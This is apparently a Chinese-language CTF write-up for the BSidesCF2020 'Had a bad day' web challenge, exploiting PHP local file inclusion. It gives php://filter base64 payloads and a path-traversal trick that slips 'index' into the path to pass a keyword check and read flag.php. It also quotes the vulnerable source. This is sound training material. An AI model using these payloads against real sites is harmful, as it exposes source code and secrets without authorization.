CTF | 1分钟
BSidesCF2020 Had a bad day
四月 5, 2021
WEB 文件包含

打开靶机

点击了一下WOOFERS,发现url类似于文件包含

尝试包含index.php

php
1php://filter/read=convert.base64-encode/resource=index.php

的确存在文件包含,但报错了,应该是包含的文件不对,一番尝试后,发现应该去掉后缀,如下

php
1php://filter/read=convert.base64-encode/resource=index

给了一串编码,使用base64解码

其中PHP源码为

php
 1<?php
 2				$file = $_GET['category'];
 3
 4				if(isset($file))
 5				{
 6					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
 7						include ($file . '.php');
 8					}
 9					else{
10						echo "Sorry, we currently only support woofers and meowers.";
11					}
12				}
13				?>

大致意思是传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php,直接读试试

php
1/index.php?category=woofers/../flag

页面源代码里出现了这句话

页面内容变了但是没报错,说明包含对了,但是需要读取flag.php

那就包含试一试,这里加入index是因为要满足上面说的条件

php
1/index.php?category=php://filter/convert.base64-encode/index/resource=flag

给了一串代码,base64解码如下

得到flag